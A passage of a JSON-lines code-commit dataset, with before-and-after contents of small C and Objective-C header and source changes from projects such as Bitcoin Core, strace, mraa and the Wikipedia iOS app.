et2\/root,bbockelm\/root,agarciamontoro\/root,sbinet\/cxx-root,Duraznos\/root,omazapa\/root-old,satyarth934\/root,mattkretz\/root,0x0all\/ROOT,omazapa\/root,arch1tect0r\/root,gganis\/root,vukasinmilosevic\/root,esakellari\/root,mkret2\/root,georgtroska\/root,georgtroska\/root,olifre\/root,satyarth934\/root,krafczyk\/root,abhinavmoudgil95\/root,0x0all\/ROOT,buuck\/root,Duraznos\/root,mattkretz\/root,Duraznos\/root,krafczyk\/root,arch1tect0r\/root,agarciamontoro\/root,root-mirror\/root,omazapa\/root-old,krafczyk\/root,root-mirror\/root,esakellari\/root,omazapa\/root,simonpf\/root,0x0all\/ROOT,dfunke\/root,esakellari\/my_root_for_test,bbockelm\/root,esakellari\/my_root_for_test,davidlt\/root,olifre\/root,beniz\/root,agarciamontoro\/root,esakellari\/root,nilqed\/root,davidlt\/root,georgtroska\/root,root-mirror\/root,sawenzel\/root,Y--\/root,omazapa\/root,sirinath\/root,zzxuanyuan\/root,mkret2\/root,BerserkerTroll\/root,bbockelm\/root,beniz\/root,perovic\/root,evgeny-boger\/root,BerserkerTroll\/root,sbinet\/cxx-root,veprbl\/root,karies\/root,krafczyk\/root,arch1tect0r\/root,mkret2\/root,krafczyk\/root,evgeny-boger\/root,zzxuanyuan\/root-compressor-dummy,agarciamontoro\/root,simonpf\/root,lgiommi\/root,lgiommi\/root,mattkretz\/root,mhuwiler\/rootauto,BerserkerTroll\/root,root-mirror\/root,satyarth934\/root,davidlt\/root,karies\/root,sbinet\/cxx-root,omazapa\/root,vukasinmilosevic\/root,sawenzel\/root,bbockelm\/root,BerserkerTroll\/root,0x0all\/ROOT,sawenzel\/root,mattkretz\/root,esakellari\/root,satyarth934\/root,omazapa\/root,buuck\/root,bbockelm\/root,veprbl\/root,gbitzes\/root,root-mirror\/root,sirinath\/root,georgtroska\/root,zzxuanyuan\/root-compressor-dummy,omazapa\/root-old,nilqed\/root,esakellari\/root,esakellari\/my_root_for_test,nilqed\/root,BerserkerTroll\/root,esakellari\/root,smarinac\/root,karies\/root,gbitzes\/root,beniz\/root,gganis\/root,BerserkerTroll\/root,smarinac\/root,zzxuanyuan\/root,dfunke\/root,BerserkerTroll\/root,gganis\/root,buuck\/root,BerserkerTroll\/root,Duraznos\/root,esakellari\/root,sawenzel\/root,nilqed\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,nilqed\/root,Duraznos\/root,sirinath\/root,mkret2\/root,pspe\/root,veprbl\/root,beniz\/root,Y--\/root,pspe\/root,sirinath\/root,sirinath\/root,dfunke\/root,vukasinmilosevic\/root,vukasinmilosevic\/root,buuck\/root,mattkretz\/root,0x0all\/ROOT,davidlt\/root,karies\/root,zzxuanyuan\/root,perovic\/root,beniz\/root,Y--\/root,gbitzes\/root,gbitzes\/root,gganis\/root,jrtomps\/root,BerserkerTroll\/root,abhinavmoudgil95\/root,sirinath\/root,dfunke\/root,thomaskeck\/root,nilqed\/root,sbinet\/cxx-root,sbinet\/cxx-root,sbinet\/cxx-root,satyarth934\/root,veprbl\/root,sawenzel\/root,mhuwiler\/rootauto,davidlt\/root,thomaskeck\/root,zzxuanyuan\/root-compressor-dummy,lgiommi\/root,zzxuanyuan\/root-compressor-dummy,simonpf\/root,arch1tect0r\/root,georgtroska\/root,esakellari\/my_root_for_test,veprbl\/root,vukasinmilosevic\/root,lgiommi\/root,georgtroska\/root,0x0all\/ROOT,omazapa\/root-old,omazapa\/root-old,lgiommi\/root,karies\/root,buuck\/root,Duraznos\/root,smarinac\/root,omazapa\/root-old,nilqed\/root,sbinet\/cxx-root,esakellari\/my_root_for_test,omazapa\/root,CristinaCristescu\/root,thomaskeck\/root,gbitzes\/root,omazapa\/root,simonpf\/root,bbockelm\/root,veprbl\/root,bbockelm\/root,smarinac\/root,agarciamontoro\/root,olifre\/root,perovic\/root,arch1tect0r\/root,beniz\/root,jrtomps\/root,buuck\/root,abhinavmoudgil95\/root,smarinac\/root,simonpf\/root,root-mirror\/root,arch1tect0r\/root,root-mirror\/root,buuck\/root,mkret2\/root,perovic\/root,perovic\/root,gganis\/root,zzxuanyuan\/root-compressor-dummy,thomaskeck\/root,gganis\/root,jrtomps\/root"}
{"commit":"428dd80dfb94c20ce6a69138f32c9727b4490a14","old_file":"src\/qt\/modaloverlay.h","new_file":"src\/qt\/modaloverlay.h","old_contents":"\/\/ Copyright (c) 2017 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_QT_MODALOVERLAY_H\n#define BITCOIN_QT_MODALOVERLAY_H\n\n#include <QDateTime>\n#include <QWidget>\n\n\/\/! The required delta of headers to the estimated number of available headers until we show the IBD progress\nstatic constexpr int HEADER_HEIGHT_SYNC_DELTA = 24;\n\nnamespace Ui\n{\nclass ModalOverlay;\n}\n\n\/** Modal overlay to display information about the chain-sync state *\/\nclass ModalOverlay : public QWidget\n{\n    Q_OBJECT\n\npublic:\n    explicit ModalOverlay(QWidget *parent);\n    ~ModalOverlay();\n\npublic Q_SLOTS:\n    void tipUpdate(int count, const QDateTime &blockDate, double nVerificationProgress);\n    void setKnownBestHeight(int count, const QDateTime &blockDate);\n\n    \/\/ will show or hide the modal layer\n    void showHide(bool hide = false, bool userRequested = false);\n    void closeClicked();\n\nprotected:\n    bool eventFilter(QObject *obj, QEvent *ev);\n    bool event(QEvent *ev);\n\nprivate:\n    Ui::ModalOverlay *ui;\n    std::atomic<int> bestBlockHeight{0}; \/\/ best known height (based on the headers)\n    QVector<QPair<qint64, double> > blockProcessTime;\n    bool layerIsVisible;\n    bool userClosed;\n};\n\n#endif \/\/ BITCOIN_QT_MODALOVERLAY_H\n","new_contents":"\/\/ Copyright (c) 2017 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_QT_MODALOVERLAY_H\n#define BITCOIN_QT_MODALOVERLAY_H\n\n#include <QDateTime>\n#include <QWidget>\n#include <atomic>\n\n\/\/! The required delta of headers to the estimated number of available headers until we show the IBD progress\nstatic constexpr int HEADER_HEIGHT_SYNC_DELTA = 24;\n\nnamespace Ui\n{\nclass ModalOverlay;\n}\n\n\/** Modal overlay to display information about the chain-sync state *\/\nclass ModalOverlay : public QWidget\n{\n    Q_OBJECT\n\npublic:\n    explicit ModalOverlay(QWidget *parent);\n    ~ModalOverlay();\n\npublic Q_SLOTS:\n    void tipUpdate(int count, const QDateTime &blockDate, double nVerificationProgress);\n    void setKnownBestHeight(int count, const QDateTime &blockDate);\n\n    \/\/ will show or hide the modal layer\n    void showHide(bool hide = false, bool userRequested = false);\n    void closeClicked();\n\nprotected:\n    bool eventFilter(QObject *obj, QEvent *ev);\n    bool event(QEvent *ev);\n\nprivate:\n    Ui::ModalOverlay *ui;\n    std::atomic<int> bestBlockHeight{0}; \/\/ best known height (based on the headers)\n    QVector<QPair<qint64, double> > blockProcessTime;\n    bool layerIsVisible;\n    bool userClosed;\n};\n\n#endif \/\/ BITCOIN_QT_MODALOVERLAY_H\n","subject":"Add a missing atomic include","message":"Add a missing atomic include\n\nThis prevent this error in Ubuntu xenial and trusty while compling bitcoin-qt:\n\nIn file included from qt\/modaloverlay.cpp:5:0:\nqt\/modaloverlay.h:42:10: error: ‘atomic’ in namespace ‘std’ does not name a template type\n     std::atomic<int> bestBlockHeight{0}; \/\/ best known height (based on the headers)\n                   ^\n","lang":"C","license":"mit","repos":"BitcoinUnlimited\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited"}
{"commit":"85c15fe657b4bc21a1e39f192e03bc06a759f15d","old_file":"ipcrypt.h","new_file":"ipcrypt.h","old_contents":"\n#ifndef ipcrypt_H\n#define ipcrypt_H\n\n#define IPCRYPT_BYTES 4\n#define IPCRYPT_KEYBYTES 16\n\nint ipcrypt_encrypt(unsigned char out[IPCRYPT_BYTES],\n                    const unsigned char in[IPCRYPT_BYTES],\n                    const unsigned char key[IPCRYPT_KEYBYTES]);\n\nint ipcrypt_decrypt(unsigned char out[IPCRYPT_BYTES],\n                    const unsigned char in[IPCRYPT_BYTES],\n                    const unsigned char key[IPCRYPT_KEYBYTES]);\n#endif\n","new_contents":"\n#ifndef ipcrypt_H\n#define ipcrypt_H\n\n#define IPCRYPT_BYTES 4\n#define IPCRYPT_KEYBYTES 16\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint ipcrypt_encrypt(unsigned char out[IPCRYPT_BYTES],\n                    const unsigned char in[IPCRYPT_BYTES],\n                    const unsigned char key[IPCRYPT_KEYBYTES]);\n\nint ipcrypt_decrypt(unsigned char out[IPCRYPT_BYTES],\n                    const unsigned char in[IPCRYPT_BYTES],\n                    const unsigned char key[IPCRYPT_KEYBYTES]);\n  \n#ifdef __cplusplus\n}  \/* End of the 'extern \"C\"' block *\/\n#endif\n  \n#endif\n","subject":"Make inclusion from C++ projects easier","message":"Make inclusion from C++ projects easier\n\nThis code adds a conditional extern \"C\" statement - which most C libraries do as a courtesy for C++ users.","lang":"C","license":"isc","repos":"jedisct1\/c-ipcrypt"}
{"commit":"1a6015e73fbbfef228b0aa91827a0ad2da3deba0","old_file":"vm\/vm_internal.h","new_file":"vm\/vm_internal.h","old_contents":"#ifndef _INCLUDE_VM_INTERNAL_H\n#define _INCLUDE_VM_INTERNAL_H\n\n#include \"vm.h\"\n#include \"defs.h\"\n#include \"heap.h\"\n\n\ntypedef struct {\n  vm_value reg[num_regs];\n  int return_address;\n  int result_register;\n\n  \/\/TODO type for this should be heap_address\n  int spilled_arguments; \/\/ Used for over-saturated calls.\n} stack_frame ;\n\n\n\n\ntypedef struct {\n  stack_frame stack[stack_size];\n  int stack_pointer;\n  int program_pointer;\n  vm_value *const_table;\n  int const_table_length;\n} vm_state;\n\n\n#define current_frame (state->stack[state->stack_pointer])\n#define next_frame (state->stack[state->stack_pointer + 1])\n\nvm_value new_heap_string(char *content);\n\nchar *read_string(vm_state *state, vm_value string_value);\nchar *value_to_type_string(vm_value value);\n\n\n#endif\n","new_contents":"#ifndef _INCLUDE_VM_INTERNAL_H\n#define _INCLUDE_VM_INTERNAL_H\n\n#include \"vm.h\"\n#include \"defs.h\"\n#include \"heap.h\"\n\n\ntypedef struct {\n  vm_value reg[num_regs];\n  int return_address;\n  int result_register;\n\n  heap_address spilled_arguments; \/\/ Used for over-saturated calls.\n} stack_frame ;\n\n\n\n\ntypedef struct {\n  stack_frame stack[stack_size];\n  int stack_pointer;\n  int program_pointer;\n  vm_value *const_table;\n  int const_table_length;\n} vm_state;\n\n\n#define current_frame (state->stack[state->stack_pointer])\n#define next_frame (state->stack[state->stack_pointer + 1])\n\nvm_value new_heap_string(char *content);\n\nchar *read_string(vm_state *state, vm_value string_value);\nchar *value_to_type_string(vm_value value);\n\n\n#endif\n","subject":"Fix type for spilled arguments","message":"Fix type for spilled arguments\n","lang":"C","license":"mit","repos":"arne-schroppe\/dash,arne-schroppe\/dash"}
{"commit":"ec108eb7dfc27271fe95608a8b8804ff573cb6e0","old_file":"src\/win32\/socket_win.c","new_file":"src\/win32\/socket_win.c","old_contents":"","new_contents":"\/*\n*The MIT License (MIT)\n*\n* Copyright (c) <2017> <Stephan Gatzka>\n*\n* Permission is hereby granted, free of charge, to any person obtaining\n* a copy of this software and associated documentation files (the\n* \"Software\"), to deal in the Software without restriction, including\n* without limitation the rights to use, copy, modify, merge, publish,\n* distribute, sublicense, and\/or sell copies of the Software, and to\n* permit persons to whom the Software is furnished to do so, subject to\n* the following conditions:\n*\n* The above copyright notice and this permission notice shall be\n* included in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n* SOFTWARE.\n*\/\n\n#include <stddef.h>\n\n#include \"compiler.h\"\n#include \"socket.h\"\n\ncjet_ssize_t socket_read(socket_type sock, void *buf, size_t count)\n{\n\treturn 0;\n}\n\ncjet_ssize_t socket_writev_with_prefix(socket_type sock, void *buf, size_t len, struct socket_io_vector *io_vec, unsigned int count)\n{\n\treturn 0;\n}\n\nint socket_close(socket_type sock)\n{\n\treturn 0;\n}\n\nenum cjet_system_error get_socket_error(void)\n{\n\treturn 0;\n}\n\nconst char *get_socket_error_msg(enum cjet_system_error err)\n{\n\treturn \"Hello\";\n}","subject":"Add stub for windows socket implementation.","message":"Add stub for windows socket implementation.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet"}
{"commit":"aaa0a5cd4e401bde4fb3691dd4e6c70a5c61e031","old_file":"include\/version.h","new_file":"include\/version.h","old_contents":"\/*\n * Author: Brendan Le Foll <brendan.le.foll@intel.com>\n * Copyright (c) 2014 Intel Corporation.\n *\n * SPDX-License-Identifier: MIT\n *\/\n\n#pragma once\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nconst char* gVERSION;\nconst char* gVERSION_SHORT;\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/*\n * Author: Brendan Le Foll <brendan.le.foll@intel.com>\n * Copyright (c) 2014 Intel Corporation.\n *\n * SPDX-License-Identifier: MIT\n *\/\n\n#pragma once\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nextern const char* gVERSION;\nextern const char* gVERSION_SHORT;\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Declare gVERSION global as 'extern'.","message":"include: Declare gVERSION global as 'extern'.\n\nFixes build with '-fno-common'.\n\nSigned-off-by: Thomas Ingleby <bb80a585db4bdbe09547a7483d1a31841fd0e0e8@intel.com>\n","lang":"C","license":"mit","repos":"g-vidal\/mraa,g-vidal\/mraa,g-vidal\/mraa,g-vidal\/mraa,g-vidal\/mraa"}
{"commit":"13d6d4e18d98f7c2d496f3454216d96a4d8e95d1","old_file":"WikipediaUnitTests\/Code\/FBSnapshotTestCase+WMFConvenience.h","new_file":"WikipediaUnitTests\/Code\/FBSnapshotTestCase+WMFConvenience.h","old_contents":"#import <FBSnapshotTestCase\/FBSnapshotTestCase.h>\n#import \"UIApplication+VisualTestUtils.h\"\n\n\/**\n *  @function WMFSnapshotVerifyView\n *\n *  Verify correct appearance of a given view.\n *\n *  Search all folder suffixes, use default naming conventions.\n *\n *  @param view The view to verify.\n *\/\n#define WMFSnapshotVerifyView(view) FBSnapshotVerifyView((view), nil)\n\n\/**\n *  @function WMFSnapshotVerifyViewForOSAndWritingDirection\n *\n *  Compares @c view with a reference image matching the current OS version & application writing direction (e.g.\n *  \"testLaysOutProperly_9.2_RTL@2x.png\").\n *\n *  @param view The view to verify.\n *\/\n#define WMFSnapshotVerifyViewForOSAndWritingDirection(view) \\\n    FBSnapshotVerifyView((view), [[UIApplication sharedApplication] wmf_systemVersionAndWritingDirection]);\n\n@interface FBSnapshotTestCase (WMFConvenience)\n\n- (void)wmf_verifyMultilineLabelWithText:(id)stringOrAttributedString width:(CGFloat)width;\n\n- (void)wmf_verifyCellWithIdentifier:(NSString *)identifier\n                       fromTableView:(UITableView *)tableView\n                               width:(CGFloat)width\n                 configuredWithBlock:(void (^)(UITableViewCell *))block;\n\n- (void)wmf_verifyView:(UIView *)view width:(CGFloat)width;\n\n- (void)wmf_verifyViewAtWindowWidth:(UIView *)view;\n\n@end\n","new_contents":"#import <FBSnapshotTestCase\/FBSnapshotTestCase.h>\n#import \"UIApplication+VisualTestUtils.h\"\n\n\/**\n *  @function WMFSnapshotVerifyView\n *\n *  Verify correct appearance of a given view.\n *\n *  Search all folder suffixes, use default naming conventions.\n *\n *  @param view The view to verify.\n *\/\n#define WMFSnapshotVerifyView(view) FBSnapshotVerifyView((view), nil)\n\n\/**\n *  @function WMFSnapshotVerifyViewForOSAndWritingDirection\n *\n *  Compares @c view with a reference image matching the current OS version & application writing direction (e.g.\n *  \"testLaysOutProperly_9.2_RTL@2x.png\").\n *\n *  @param view The view to verify.\n *\/\n#define WMFSnapshotVerifyViewForOSAndWritingDirection(view) \\\n    FBSnapshotVerifyViewWithOptions((view), [[UIApplication sharedApplication] wmf_systemVersionAndWritingDirection], FBSnapshotTestCaseDefaultSuffixes(), 0.1);\n\n@interface FBSnapshotTestCase (WMFConvenience)\n\n- (void)wmf_verifyMultilineLabelWithText:(id)stringOrAttributedString width:(CGFloat)width;\n\n- (void)wmf_verifyCellWithIdentifier:(NSString *)identifier\n                       fromTableView:(UITableView *)tableView\n                               width:(CGFloat)width\n                 configuredWithBlock:(void (^)(UITableViewCell *))block;\n\n- (void)wmf_verifyView:(UIView *)view width:(CGFloat)width;\n\n- (void)wmf_verifyViewAtWindowWidth:(UIView *)view;\n\n@end\n","subject":"Add slight tolerance for image differences to visual test macro.","message":"Add slight tolerance for image differences to visual test macro.\n","lang":"C","license":"mit","repos":"wikimedia\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios"}
{"commit":"1b91e278ae59e4f4f1f6a8fe37bd20e527a4975e","old_file":"Analytics\/Integrations\/GoogleAnalytics\/SEGGoogleAnalyticsIntegration.h","new_file":"Analytics\/Integrations\/GoogleAnalytics\/SEGGoogleAnalyticsIntegration.h","old_contents":"\/\/ GoogleAnalyticsIntegration.h\n\/\/ Copyright (c) 2014 Segment.io. All rights reserved.\n\n#import <Foundation\/Foundation.h>\n#import \"SEGAnalyticsIntegration.h\"\n\n\n@interface SEGGoogleAnalyticsIntegration : SEGAnalyticsIntegration\n\n@property(nonatomic, copy) NSString *name;\n@property(nonatomic, assign) BOOL valid;\n@property(nonatomic, assign) BOOL initialized;\n@property(nonatomic, copy) NSDictionary *settings;\n\n@end\n","new_contents":"\/\/ GoogleAnalyticsIntegration.h\n\/\/ Copyright (c) 2014 Segment.io. All rights reserved.\n\n#import <Foundation\/Foundation.h>\n#import \"SEGAnalyticsIntegration.h\"\n#import \"SEGEcommerce.h\"\n\n@interface SEGGoogleAnalyticsIntegration : SEGAnalyticsIntegration <SEGEcommerce>\n\n@property(nonatomic, copy) NSString *name;\n@property(nonatomic, assign) BOOL valid;\n@property(nonatomic, assign) BOOL initialized;\n@property(nonatomic, copy) NSDictionary *settings;\n\n@end\n","subject":"Add ecommerce protocol to ga","message":"Add ecommerce protocol to ga\n","lang":"C","license":"mit","repos":"jtomson-mdsol\/analytics-ios,jtomson-mdsol\/analytics-ios,rudywen\/analytics-ios,dbachrach\/analytics-ios,graingert\/analytics-ios,jonathannorris\/analytics-ios,orta\/analytics-ios,segmentio\/analytics-ios,operator\/analytics-ios,graingert\/analytics-ios,djfink-carglass\/analytics-ios,jonathannorris\/analytics-ios,jlandon\/analytics-ios,orta\/analytics-ios,operator\/analytics-ios,orta\/analytics-ios,string-team\/analytics-ios,segmentio\/analytics-ios,operator\/analytics-ios,lumoslabs\/analytics-ios,lumoslabs\/analytics-ios,jtomson-mdsol\/analytics-ios,dcaunt\/analytics-ios,graingert\/analytics-ios,cfraz89\/analytics-ios,jlandon\/analytics-ios,abodo-dev\/analytics-ios,abodo-dev\/analytics-ios,hzalaz\/analytics-ios,ldiqual\/analytics-ios,cfraz89\/analytics-ios,dbachrach\/analytics-ios,rudywen\/analytics-ios,jlandon\/analytics-ios,djfink-carglass\/analytics-ios,hzalaz\/analytics-ios,abodo-dev\/analytics-ios,vinod1988\/analytics-ios,lumoslabs\/analytics-ios,dbachrach\/analytics-ios,dcaunt\/analytics-ios,djfink-carglass\/analytics-ios,cfraz89\/analytics-ios,string-team\/analytics-ios,vinod1988\/analytics-ios,dcaunt\/analytics-ios,jonathannorris\/analytics-ios,segmentio\/analytics-ios,ldiqual\/analytics-ios,string-team\/analytics-ios,hzalaz\/analytics-ios,vinod1988\/analytics-ios,ldiqual\/analytics-ios,segmentio\/analytics-ios,rudywen\/analytics-ios"}
{"commit":"bafe09faaffee154ccc9225bacb526517e555882","old_file":"process.h","new_file":"process.h","old_contents":"\/\/\n\/\/  process.h\n\/\/  Project3\n\/\/\n\/\/  Created by Stratton Aguilar on 7\/3\/14.\n\/\/  Copyright (c) 2014 Stratton Aguilar. All rights reserved.\n\/\/\n\n#ifndef Project3_process_h\n#define Project3_process_h\n\ntypedef struct {\n    int processNum;\n    int arrivalTime;\n    int lifeTime;\n    int memReq;\n} PROCESS;\n#endif\n","new_contents":"\/\/\n\/\/  process.h\n\/\/  Project3\n\/\/\n\/\/  Created by Stratton Aguilar on 7\/3\/14.\n\/\/  Copyright (c) 2014 Stratton Aguilar. All rights reserved.\n\/\/\n\n#ifndef Project3_process_h\n#define Project3_process_h\n\ntypedef struct {\n    int processNum;\n    int arrivalTime;\n    int lifeTime;\n    int memReq;\n\n    int time_left;\n    int is_active;\n} PROCESS;\n#endif\n","subject":"Add time_left and is_active to the proc struct","message":"Add time_left and is_active to the proc struct\n","lang":"C","license":"mit","repos":"ciarand\/operating-systems-memory-management-assignment"}
{"commit":"f0daba127006281d2ff843f88a7e93928e336350","old_file":"src\/greuh_liberation.Default\/meta\/classnames\/support\/ammobox_nato_pacific.h","new_file":"src\/greuh_liberation.Default\/meta\/classnames\/support\/ammobox_nato_pacific.h","old_contents":"[\"Box_T_NATO_Wps_F\",5,0,0],\n[\"Box_T_NATO_WpsSpecial_F\",5,0,0],","new_contents":"[\"Box_T_NATO_Wps_F\",0,0,0],\n[\"Box_T_NATO_WpsSpecial_F\",0,0,0],","subject":"Remove cost from empty ammoboxes till they can be recycled","message":"Remove cost from empty ammoboxes till they can be recycled\n","lang":"C","license":"mit","repos":"fparma\/liberation,fparma\/liberation,fparma\/liberation"}
{"commit":"1776b4704a26b3cf388e66e2e9f945dde1ba57cb","old_file":"src\/clock_posix.c","new_file":"src\/clock_posix.c","old_contents":"#include <time.h>\n\n#include \"clock.h\"\n\n#include \"clock_type.h\"\n\nextern int clock_init(struct SPDR_Clock **clockp, struct SPDR_Allocator *allocator)\n{\n        struct timespec res;\n\n        if (clock_getres(CLOCK_MONOTONIC, &res) != 0 || res.tv_nsec > 1000) {\n                \/* unknown clock or insufficient resolution *\/\n                return -1;\n        }\n\n        return clock_init_base(clockp, allocator, 1, 1000);\n}\n\nextern uint64_t clock_ticks(struct SPDR_Clock const *const clock)\n{\n        struct timespec ts;\n        clock_gettime(CLOCK_MONOTONIC, &ts);\n\n        (void)clock;\n\n        return ts.tv_sec * 1000000000LL + ts.tv_nsec;\n}\n","new_contents":"#include <time.h>\n\n#include \"clock.h\"\n\n#include \"clock_type.h\"\n\nextern int clock_init(struct SPDR_Clock **clockp,\n                      struct SPDR_Allocator *allocator)\n{\n        struct timespec res;\n\n        if (clock_getres(CLOCK_MONOTONIC, &res) != 0 || res.tv_nsec > 1000) {\n                \/* unknown clock or insufficient resolution *\/\n                return -1;\n        }\n\n        return clock_init_base(clockp, allocator, 1, 1000);\n}\n\nextern uint64_t clock_ticks(struct SPDR_Clock const *const clock)\n{\n        struct timespec ts;\n        clock_gettime(CLOCK_MONOTONIC, &ts);\n\n        (void)clock;\n\n        return ts.tv_sec * 1000000000LL + ts.tv_nsec;\n}\n","subject":"Fix signature of clock_init for posix","message":"Fix signature of clock_init for posix\n","lang":"C","license":"mit","repos":"uucidl\/uu.spdr,uucidl\/uu.spdr,uucidl\/uu.spdr"}
{"commit":"0f4982691eaf60f6b23e9f7d02c63ee3b9cb0460","old_file":"xlat.h","new_file":"xlat.h","old_contents":"#ifndef STRACE_XLAT_H\n\nstruct xlat {\n\tunsigned int val;\n\tconst char *str;\n};\n\n# define XLAT(val)\t\t\t{ (unsigned)(val), #val }\n# define XLAT_PAIR(val, str)\t\t{ (unsigned)(val), str  }\n# define XLAT_END\t\t\t{\t\t0, 0    }\n\n#endif\n","new_contents":"#ifndef STRACE_XLAT_H\n\nstruct xlat {\n\tunsigned int val;\n\tconst char *str;\n};\n\n# define XLAT(val)\t\t\t{ (unsigned)(val), #val }\n# define XLAT_PAIR(val, str)\t\t{ (unsigned)(val), str  }\n# define XLAT_TYPE(type, val)\t\t{     (type)(val), #val }\n# define XLAT_TYPE_PAIR(val, str)\t{     (type)(val), str  }\n# define XLAT_END\t\t\t{\t\t0, 0    }\n\n#endif\n","subject":"Introduce XLAT_TYPE and XLAT_TYPE_PAIR macros","message":"Introduce XLAT_TYPE and XLAT_TYPE_PAIR macros\n\n* xlat.h (XLAT_TYPE): New macro, similar to XLAT but casts\nto the specified type instead of unsigned int.\n(XLAT_TYPE_PAIR): New macro, similar to XLAT_PAIR but casts\nto the specified type instead of unsigned int.\n","lang":"C","license":"bsd-3-clause","repos":"Saruta\/strace,Saruta\/strace,cuviper\/strace,Saruta\/strace,Saruta\/strace,cuviper\/strace,Saruta\/strace,cuviper\/strace,cuviper\/strace,cuviper\/strace"}
{"commit":"37656881f6360da03ecf7c4cbcc51f7a0eae883c","old_file":"Sensorama\/Sensorama\/SRDataModel.h","new_file":"Sensorama\/Sensorama\/SRDataModel.h","old_contents":"\/\/\n\/\/  SRDataModel.h\n\/\/  Sensorama\n\/\/\n\/\/  Created by Wojciech Adam Koszek (h) on 19\/04\/2016.\n\/\/  Copyright © 2016 Wojciech Adam Koszek. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"Realm\/Realm.h\"\n\n@interface SRDataPoint : RLMObject\n\n@property NSNumber<RLMInt> *accX;\n@property NSNumber<RLMInt> *accY;\n@property NSNumber<RLMInt> *accZ;\n\n@property NSNumber<RLMInt> *magX;\n@property NSNumber<RLMInt> *magY;\n@property NSNumber<RLMInt> *magZ;\n\n@property NSNumber<RLMInt> *gyroX;\n@property NSNumber<RLMInt> *gyroY;\n@property NSNumber<RLMInt> *gyroZ;\n\n@property NSInteger fileId;\n@property NSInteger curTime;\n\n@end\n\n@interface SRDataFile : RLMObject\n\n@property NSString *username;\n@property NSString *desc;\n@property NSString *timezone;\n\/* need to do something about device_info *\/\n\n@property NSInteger sampleInterval;\n@property BOOL accEnabled;\n@property BOOL magEnabled;\n@property BOOL gyroEnabled;\n\n@property NSDate *dateStart;\n@property NSDate *dateEnd;\n@property NSInteger fileId;\n\n@end","new_contents":"\/\/\n\/\/  SRDataModel.h\n\/\/  Sensorama\n\/\/\n\/\/  Created by Wojciech Adam Koszek (h) on 19\/04\/2016.\n\/\/  Copyright © 2016 Wojciech Adam Koszek. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"Realm\/Realm.h\"\n\n@interface SRDataPoint : RLMObject\n\n@property NSNumber<RLMInt> *accX;\n@property NSNumber<RLMInt> *accY;\n@property NSNumber<RLMInt> *accZ;\n\n@property NSNumber<RLMInt> *magX;\n@property NSNumber<RLMInt> *magY;\n@property NSNumber<RLMInt> *magZ;\n\n@property NSNumber<RLMInt> *gyroX;\n@property NSNumber<RLMInt> *gyroY;\n@property NSNumber<RLMInt> *gyroZ;\n\n@property NSInteger fileId;\n@property NSInteger curTime;\n\n@end\nRLM_ARRAY_TYPE(SRDataPoint)\n\n\n@interface SRDataFile : RLMObject\n\n@property NSString *username;\n@property NSString *desc;\n@property NSString *timezone;\n\/* need to do something about device_info *\/\n\n@property NSInteger sampleInterval;\n@property BOOL accEnabled;\n@property BOOL magEnabled;\n@property BOOL gyroEnabled;\n\n@property NSDate *dateStart;\n@property NSDate *dateEnd;\n@property NSInteger fileId;\n\n@property RLMArray<SRDataPoint> *dataPoints;\n\n@end\nRLM_ARRAY_TYPE(SRDataFile)","subject":"Add arrays to the data model.","message":"Add arrays to the data model.\n","lang":"C","license":"bsd-2-clause","repos":"wkoszek\/sensorama-ios,wkoszek\/sensorama-ios,wkoszek\/sensorama-ios,wkoszek\/sensorama-ios"}
